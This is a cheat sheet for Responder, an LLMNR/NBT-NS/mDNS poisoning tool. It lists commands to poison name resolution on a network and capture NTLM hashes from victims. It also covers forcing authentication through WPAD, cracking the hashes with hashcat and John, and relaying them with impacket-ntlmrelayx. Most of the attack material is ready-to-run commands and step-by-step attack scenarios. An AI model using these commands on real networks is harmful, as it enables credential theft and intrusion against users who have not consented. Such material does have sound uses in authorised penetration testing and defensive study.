Responder Cheatsheet

LLMNR, NBT-NS, and MDNS poisoner for capturing credentials.

Basic Syntax

sudo responder -I <interface> [options]

Core Options

Basic Usage

Start Responder

sudo responder -I eth0

With WPAD Proxy

sudo responder -I eth0 -wFP

Analyze Mode (Passive)

sudo responder -I eth0 -A

Force Basic Auth

sudo responder -I eth0 -b

Protocols Poisoned

Servers Started

Configuration

Config File Location

/etc/responder/Responder.conf

or

/usr/share/responder/Responder.conf

Disable Specific Servers

Edit config file:

[Responder Core]
SQL = Off
SMB = On
HTTP = On
HTTPS = On

Captured Hashes

Hash Location

/usr/share/responder/logs/

Hash Format (NTLMv2)

user::DOMAIN:challenge:response:blob

Crack with Hashcat

hashcat -m 5600 hashes.txt wordlist.txt

Crack with John

john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

Attack Scenarios

Credential Capture

1. Run Responder: sudo responder -I eth0
2. Wait for victim to mistype share name or query non-existent host
3. Responder poisons response
4. Victim sends credentials to attacker
5. Capture NTLMv1/v2 hash

WPAD Attack

1. Run Responder with WPAD: sudo responder -I eth0 -wFP
2. Victim’s browser requests wpad.dat
3. Responder forces authentication
4. Capture credentials

Combine with NTLM Relay

Disable SMB/HTTP in Responder

Edit Responder.conf:

SMB = Off
HTTP = Off

Run Responder

sudo responder -I eth0

Run ntlmrelayx

impacket-ntlmrelayx -t smb://10.10.10.10 -smb2support

Best Practices

• Run in analyze mode first (-A) to understand traffic
• Be aware of potential network disruption
• Use with ntlmrelayx for relay attacks instead of just capturing
• Check if SMB signing is disabled on targets

Troubleshooting